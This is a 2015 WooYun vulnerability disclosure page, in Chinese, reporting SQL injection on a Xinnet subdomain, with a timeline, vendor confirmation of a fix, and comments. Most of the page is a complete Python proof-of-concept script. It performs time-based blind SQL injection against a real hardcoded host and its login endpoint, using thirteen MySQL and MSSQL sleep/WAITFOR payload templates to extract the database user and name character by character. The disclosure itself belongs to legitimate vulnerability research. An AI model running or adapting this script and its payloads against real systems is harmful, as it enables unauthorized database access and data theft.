当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-091321

漏洞标题:新网分站存在SQL注入(附验证脚本)

相关厂商:新网华通信息技术有限公司

漏洞作者: wcc526

提交时间:2015-01-12 09:58

修复时间:2015-02-26 10:00

公开时间:2015-02-26 10:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-12: 细节已通知厂商并且等待厂商处理中
2015-01-12: 厂商已经确认,细节仅向厂商公开
2015-01-22: 细节向核心白帽子及相关领域专家公开
2015-02-01: 细节向普通白帽子公开
2015-02-11: 细节向实习白帽子公开
2015-02-26: 细节向公众公开

简要描述:

新网分站存在SQL注入(附验证脚本)

详细说明:

current result is dctoken@

漏洞证明:

#!/usr/bin/python
# coding=utf-8
import httplib,time,string,sys,random,urllib
def getPayloadBody(body,i,payload,payload_type):
ret = {}
if payload_type == 1:
s = str(random.random()) + "aa'XOR(if(ascii(mid(user(),%s,1))=%s,sleep(6),0))OR'bbb" % (i,ord(payload))
elif payload_type == 2:
s = str(random.random()) + "aa'XOR(if(ascii(mid(database(),%s,1))=%s,sleep(6),0))OR'bbb" % (i,ord(payload))
elif payload_type == 3:
s = str(random.random()) + "aa';if(ascii(substring(user,%s,1))=%s) WAITFOR DELAY '00:00:6'-- " % (i,ord(payload))
elif payload_type == 4:
s = str(random.random()) + "aa';if(ascii(substring(db_name(),%s,1))=%s) WAITFOR DELAY '00:00:6'-- " % (i,ord(payload))
elif payload_type == 5:
s = "if(ascii(mid(user(),%s,1))=%s,sleep(6),0)" % (i,ord(payload))
elif payload_type == 6:
s = "if(ascii(mid(database(),%s,1))=%s,sleep(6),0)" % (i,ord(payload))
elif payload_type == 7:
s = "-1;if(ascii(substring(user,%s,1))=%s) WAITFOR DELAY '00:00:6'-- " % (i,ord(payload))
elif payload_type == 8:
s = "-1';if(ascii(substring(db_name(),%s,1))=%s) WAITFOR DELAY '00:00:6'-- " % (i,ord(payload))
elif payload_type == 9:
s = "aa'));if(ascii(substring(user,%s,1))=%s) WAITFOR DELAY '00:00:6'-- " % (i,ord(payload))
elif payload_type == 10:
s = "aa'));if(ascii(substring(db_name(),%s,1))=%s) WAITFOR DELAY '00:00:6'-- " % (i,ord(payload))
elif payload_type == 11:
s = '"XOR(if(ascii(mid(user(),%s,1))=%s,sleep(6),0))OR"*/' % (i,ord(payload))
elif payload_type == 12:
s = '"XOR(if(ascii(mid(database(),%s,1))=%s,sleep(6),0))OR"*/' % (i,ord(payload))
elif payload_type == 13:
s = "if(now()=sysdate(),sleep(10),0)/*'XOR(if(ascii(mid(user(),%s,1))=%s,sleep(6),0))OR'bb" % (i,ord(payload))
for kv in body.split('&'):
kv = kv.split('=')
ret[kv[0]]=kv[1] if kv[1] != '*' else s
return urllib.urlencode(ret)
def exploit(host,url,body,payload_type,timeout=5):
res = ''
payloads = ['@','_','.']+ list(string.ascii_lowercase)+list(string.ascii_uppercase) +[str(i) for i in range(10) ]
for i in range(1,30,1):
for payload in payloads:
try:
conn = httplib.HTTPConnection(host, timeout=timeout)
print payload,
conn.request(method='POST',url=url,body=getPayloadBody(body,i,payload,payload_type),headers={'Content-Type': 'application/x-www-form-urlencoded'})
sys.stdout.flush()
conn.getresponse().read()
conn.close()
except Exception,e:
res += payload
print "\ncurrent result is",res
break
print res
if __name__=='__main__':
host = 'hy.xinnet.com'
url= '/j_acegi_security_check'
body = 'submit=%e7%99%bb%e5%bd%95&j_code=94102&j_password=g00dPa%24%24w0rD&j_username=*'
payload_type = 2
exploit(host,url,body,payload_type)

修复方案:

版权声明:转载请注明来源 wcc526@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-01-12 10:28

厂商回复:

非常感谢wcc526@乌云,小新正在玩命确认及修复中

最新状态:

2015-01-13:漏洞已修复,非常感谢wcc526@乌云

2015-01-13:漏洞已修复,非常感谢wcc526@乌云


漏洞评价:

评论

  1. 2015-01-12 10:31 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    洞主poc代码写的不错啊

  2. 2015-01-12 10:46 | Woodee ( 路人 | 还没有发布任何漏洞 | 乌云路人甲,打脸pa pa pa)

    厂商确认的好快